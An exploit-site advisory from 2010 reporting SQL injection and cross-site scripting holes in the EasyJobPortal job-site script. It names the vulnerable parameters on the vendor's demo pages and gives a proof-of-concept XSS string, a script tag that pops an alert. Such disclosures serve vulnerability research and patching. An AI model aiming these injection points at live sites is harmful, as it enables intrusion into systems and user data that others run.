EasyJobPortal Xss / Sql Injection Vulnerability
Posted on 07 June 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>EasyJobPortal Xss / Sql Injection Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=============================================== EasyJobPortal Xss / Sql Injection Vulnerability =============================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' __ /'__` / \__ /'__` 0 0 /\_, ___ /\_/\_ ___ ,_/ / _ ___ 1 1 /_/ /' _ ` / /_/_\_<_ /'___ / /`'__ 0 0 / / / / \__/ \_ \_ / 1 1 \_ \_ \_\_ \____/ \____\ \__\ \____/ \_ 0 0 /_//_//_/ \_ /___/ /____/ /__/ /___/ /_/ 1 1 \____/ >> Exploit database separated by exploit 0 0 /___/ type (local, remote, DoS, etc.) 1 1 1 0 [+] Site : Inj3ct0r.com 0 1 [+] Support e-mail : submit[at]inj3ct0r.com 1 0 0 1 ########################################## 1 0 I'm Sid3^effects member from Inj3ct0r Team 1 1 ########################################## 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 Name : EasyJobPortal SQLi and XSS vulnerability Date : june, 7 2010 Author : Sid3^effects <shell_c99[at]yahoo.com> vendor url : http://www.easyjobportal.com/ special thanks to : r0073r (inj3ct0r.com),*L0rd ãrusAdÉr*,MaYur,LiquidWorm,gunslinger_ greetz to : Ked@r,dec0d3r,41.w4r10r and all ICW members. ############################################################################################################### Description: EasyJobPortal provides you with all features you need to setup your own job portal ecommerce website on your own domain name. Our support team will install the script on your server and then you can start earning revenues easily. ############################################################################################################## Xploit : sqli Vulnerability demo url:http://www.easyjobportal.com/demo/site_company_list.php?company=10002&current_item=[Sqli]&current_page=1 ############################################################################################################## Xploit : XSS Vulnerability Parameter Name: search Parameter Type: Querystring Attack Pattern: '"--><script>alert(0x000872)</script> demo url:http://www.easyjobportal.com/demo/site_search.php?sfunction=[XSS] ############################################################################################################## #Sid3^effects # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-07]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
